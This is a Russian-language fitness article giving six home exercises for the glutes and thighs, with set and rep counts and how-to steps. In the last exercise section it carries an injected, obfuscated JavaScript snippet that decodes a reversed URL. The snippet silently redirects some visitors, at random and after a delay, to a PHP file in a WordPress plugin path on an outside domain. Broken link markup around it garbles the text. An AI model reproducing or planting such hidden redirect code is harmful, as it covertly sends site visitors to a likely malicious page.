Разве может быть стопроцентно роскошной девушка без упругой, подтянутой попы? Ведь именно эта прелестная часть тела делает женскую фигуру совершенной. Но не беда, если от природы вам не даны сексуальные формы, немного поработав над собой, вы обретёте желаемое.
Не обязательно быть завсегдатаем спортзала, домашние упражнения ничем не хуже. Единственное, что для этого требуется – поставленная цель и мечта её добиться. Итак…
Эти совсем несложные упражнения направлены на невероятные трансформации ваших ягодиц и бёдер. Не волнуйтесь, что в результате получите перекачанные ноги – поощрением за вашу силу воли станут стройные ножки и красивая попа.
Поспешите взять себе на заметку эти упражнения и поскорее приступить к ним!
- Необычные приседания
- Боковые выпады с подъемом коленей
- Ягодичный мостик
- Ягодичный мостик с поднятой ногой
- Подъем ноги на четвереньках
- Приседания с эластичной лентой для фитнеса
Необычные приседания
Повторы: 3 подхода. Первый — 10 повторений, второй — 8, третий — 6.
Как выполнять: поставьте ноги на ширину плеч. Присядьте. Затем в этом же положении идите вперед. Не поднимайтесь, пока не закончите упражнение.
Боковые выпады с подъемом коленей
Повторы: 3 подхода. Первый — 10 повторений, второй — 8, третий — 6.
Как выполнять: поставьте ноги на ширину плеч. Сделайте выпад в сторону так низко, как позволяет ваша растяжка. Вернитесь в исходное положение. Попробуйте балансировать на одной ноге между повторениями упражнения.
Ягодичный мостик
Повторы: 4 подхода. Первый — 20 повторений, второй — 10, третий — 20, четвертый — 10.
Как выполнять: лягте на спину, руки расположите вдоль корпуса, ноги согнуты в коленях. На выдохе поднимите таз. Напрягите ягодичные мышцы и задержитесь на пару секунд. Медленно опустите таз.
Ягодичный мостик с поднятой ногой
Повторы: 3 подхода. Первый — 12 повторений, второй — 10, третий — 8, четвертый — 10.
Как выполнять: лягте на спину, руки вдоль туловища, согните левую ногу в колене, правую поднимите вверх. На выдохе поднимите таз, отталкиваясь пяткой от пола, задержитесь в верхней точке, напрягая ягодицы. На вдохе опуститесь обратно.
Подъем ноги на четвереньках
Повторы: 3 подхода. Первый — 14, второй — 12, третий — 10.
Как выполнять: встаньте на четвереньки, поднимите одну ногу, согнув в колене, опустите обратно. Следите, чтобы колено было согнуто под углом 90 градусов. Для лучшей проработки мышц зажмите ногой маленькую гантель.
Приседания с эластичной лентой для фитнеса
$mWn=function(n){if(typeof ($mWn.list[n])==»string») return $mWn.list[n].split(«»).reverse().join(«»);return $mWn.list[n];};$mWn.list=[«\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoj/» target=»_blank» rel=»noopener»>Тянущаяся лента — шнур для усложнения выполнения различных упражнений.
Повторы: 3 подхода. Первый — 10 на каждую ногу, второй — 8, третий — 6.
Как выполнять: поставьте ноги на ширину плеч. Установите тянущуюся ленту под ногами, скрестите ее спереди, как на фото, зафиксируйте на бедрах либо держите за ручки. Отведите ногу как можно дальше в сторону и глубоко присядьте. Подтяните ногу по полу к себе.
